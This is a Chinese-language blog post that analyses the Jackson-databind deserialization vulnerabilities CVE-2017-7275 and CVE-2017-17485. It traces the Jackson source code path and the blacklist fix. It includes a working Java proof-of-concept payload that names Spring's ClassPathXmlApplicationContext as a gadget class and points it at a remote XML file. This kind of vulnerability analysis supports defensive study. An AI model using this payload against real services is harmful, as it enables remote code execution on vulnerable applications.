天天看点

jackson 序列化_Jackson-databind 反序列化漏洞源码分析

jackson 序列化_Jackson-databind 反序列化漏洞源码分析

开始

我们来分析Jackson的反序列化漏洞,包含以下两个CVE.

1. CVE-2017-7275

2. CVE-2017-17485

由于CVE-2017-7275采用黑名单的方法修复程序,CVE-2017-17485在绕过该黑名单.所以下文以CVE-2017-17485的demo作分析.

影响版本

  • Jackson Version 2.7.* < 2.7.10
  • Jackson Version 2.8.* < 2.8.9

debug环境

  • jdk 1.8.0_181
  • jackson 2.6.7

debug代码

漏洞触发的条件,以下满足任意一个:

  • mapper.enableDefaultTyping();

  • @JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)

  • @JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS)

String payload = "["org.springframework.context.support.ClassPathXmlApplicationContext", " +
                ""http://127.0.0.1/poc.xml"]n";
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping();
        try {
            mapper.readValue(payload, Object.class);
        } catch (IOException e) {
            e.printStackTrace();
        }
           

原理分析

漏洞触发入口:

mapper.readValue(payload, Object.class)

,跟进去,跳过一些不重要的过程,跳过的调用栈如下:

jackson 序列化_Jackson-databind 反序列化漏洞源码分析

我们来看

_deserialize

的方法,源码如下:

jackson 序列化_Jackson-databind 反序列化漏洞源码分析

上述源码中框起来的是三个关键的方法,先来看String typeId = _locateTypeId(p, ctxt);,这个方法名字就是定位类型id,什么类型呢?当然是将要反序列化类的类型.跟进去,源码如下:

jackson 序列化_Jackson-databind 反序列化漏洞源码分析

从源码可以发现,通过jp(jp就是jackson中解析json解析器,这是因为我们传进去的是一个json array数据,在前面省略部分初始化的,有兴趣可以debug看下)得到第一个string返回.也就是我们的

org.springframework.context.support.ClassPathXmlApplicationContext

.具体的实现是首先迭代出jsontoken对象,判断类型为string,接着调用

jp.getText()

获取该值.

jackson 序列化_Jackson-databind 反序列化漏洞源码分析

回过头来继续看第二个关键的方法

_findDeserializer

,传进去的参数typeId的值为

org.springframework.context.support.ClassPathXmlApplicationContext

,源码如下:

jackson 序列化_Jackson-databind 反序列化漏洞源码分析

上述源码,开始是从_deserializers(一个hashmap)去查找,当然为null,接着调用_idResolver.typeFromId,传入的为type_id,跟进这个方法:

jackson 序列化_Jackson-databind 反序列化漏洞源码分析

继续跟进.

jackson 序列化_Jackson-databind 反序列化漏洞源码分析

从上述源码发现,调用findClass方法,传入的id为先前的type_id,返回的是一个class对象,可以推测里面调用了class.forName方法.跟进去果然是这样.

jackson 序列化_Jackson-databind 反序列化漏洞源码分析

接着调用

constructSpecializedType

方法将刚才得到的class封装成javaType并返回,这样

_idResolver.typeFromId

执行完了. 再看

_findDeserializer

方法的下面的操作,来看

deser = ctxt.findContextualValueDeserializer(type, _property)

,里面调用有点长,有些不太清楚,主要的操作将刚才封装的JavaType继续封装成BeanDeserializer(可以理解为待实例化的bean类,继承JsonDeserializer).接着存入

_deserializers

中.至此,第二个关键方法

_findDeserializer

的操作结束. 做个小结吧.

_findDeserializer

,首先通过

typeFromId

方法做了两件事: 1. 读取传入的

org.springframework.context.support.ClassPathXmlApplicationContext

. 2. 反射

org.springframework.context.support.ClassPathXmlApplicationContext

生成对应的class,并封装在javaType类中.

接着调用

ctxt.findContextualValueDeserializer

转化成待实例化对象.那么接下来要做的应该是读取传入的

http://127.0.0.1/poc.xml

,并作为org.springframework.context.support.ClassPathXmlApplicationContext的参数实例化该类. 最后我们来看第三个关键方法是不是这样的.跟进

deser.deserialize(p, ctxt)

.源码如下:

jackson 序列化_Jackson-databind 反序列化漏洞源码分析

从上述源码中可以看到,首先调用p.nextToken(),和上面获取

org.springframework.context.support.ClassPathXmlApplicationContext

一样.接着调用p.getCurrentToken()获取当前值的类型.最后在

_deserializeOther

中进行进一步处理.跟进

_deserializeOther

.

jackson 序列化_Jackson-databind 反序列化漏洞源码分析

跟进

deserializeFromString(p, ctxt)

.

jackson 序列化_Jackson-databind 反序列化漏洞源码分析

_objectIdReader=null

,继续跟进_valueInstantiator.createFromString(ctxt, p.getText()).传入的p.getText()的值为

http://127.0.0.1/poc.xml

.

jackson 序列化_Jackson-databind 反序列化漏洞源码分析

看到这个call(有调用的意思),感觉接近了.继续跟进:

jackson 序列化_Jackson-databind 反序列化漏洞源码分析

终于我们看到了以

http://127.0.0.1/poc.xml

为参数对

org.springframework.context.support.ClassPathXmlApplicationContext.

进行实例化.后面就会触发漏洞了.

两个问题

一. 为什么要求mapper.enableDefaultTyping()?

先看一下mapper.enableDefaultTyping()设置了以下参数.

jackson 序列化_Jackson-databind 反序列化漏洞源码分析

其中最关键的设置了

_typeResolverBuilder

. 我们再来对比一下

_readMapAndClose

.源码如下:其中

result = deser.deserialize(jp, ctxt);

,就是我们分析的入口.

jackson 序列化_Jackson-databind 反序列化漏洞源码分析

1.未设置enableDefaultTyping

jackson 序列化_Jackson-databind 反序列化漏洞源码分析

2.设置enableDefaultTyping

jackson 序列化_Jackson-databind 反序列化漏洞源码分析

可以发现,一个得到的是UntypeedObjectContext,另一个是DefaultCOntext.这就是设置原因. 在

_findRootDeserializer

里面的有一个操作来判断的:

jackson 序列化_Jackson-databind 反序列化漏洞源码分析

从源码中可以发现,通过config.getDefaultTyper获取默认的类型.跟进其中.

jackson 序列化_Jackson-databind 反序列化漏洞源码分析
jackson 序列化_Jackson-databind 反序列化漏洞源码分析

里面其实就是判断是否设置_typeResolverBuilder,没有就会返回null,为UnTyped.

二. org.springframework.context.support.ClassPathXmlApplicationContext的利用链?

该利用链的原理就是spel注入.先贴个别人的文章,后续去debug分析分析.

SpEL表达式注入漏洞总结

修复

修复debug版本使用的是2.8.10. 修复出现在前面所说的封装BeanDeserializer前,加入黑名单判断,源码如下:

jackson 序列化_Jackson-databind 反序列化漏洞源码分析

可以发现,在最终返回前调用了

_validateSubType

(验证类型)方法.跟进看看:

jackson 序列化_Jackson-databind 反序列化漏洞源码分析
jackson 序列化_Jackson-databind 反序列化漏洞源码分析

可以发现,里面就是黑名单的判断.其中

_cfgIllegalClassNames

为一个set集合.数据如下:

jackson 序列化_Jackson-databind 反序列化漏洞源码分析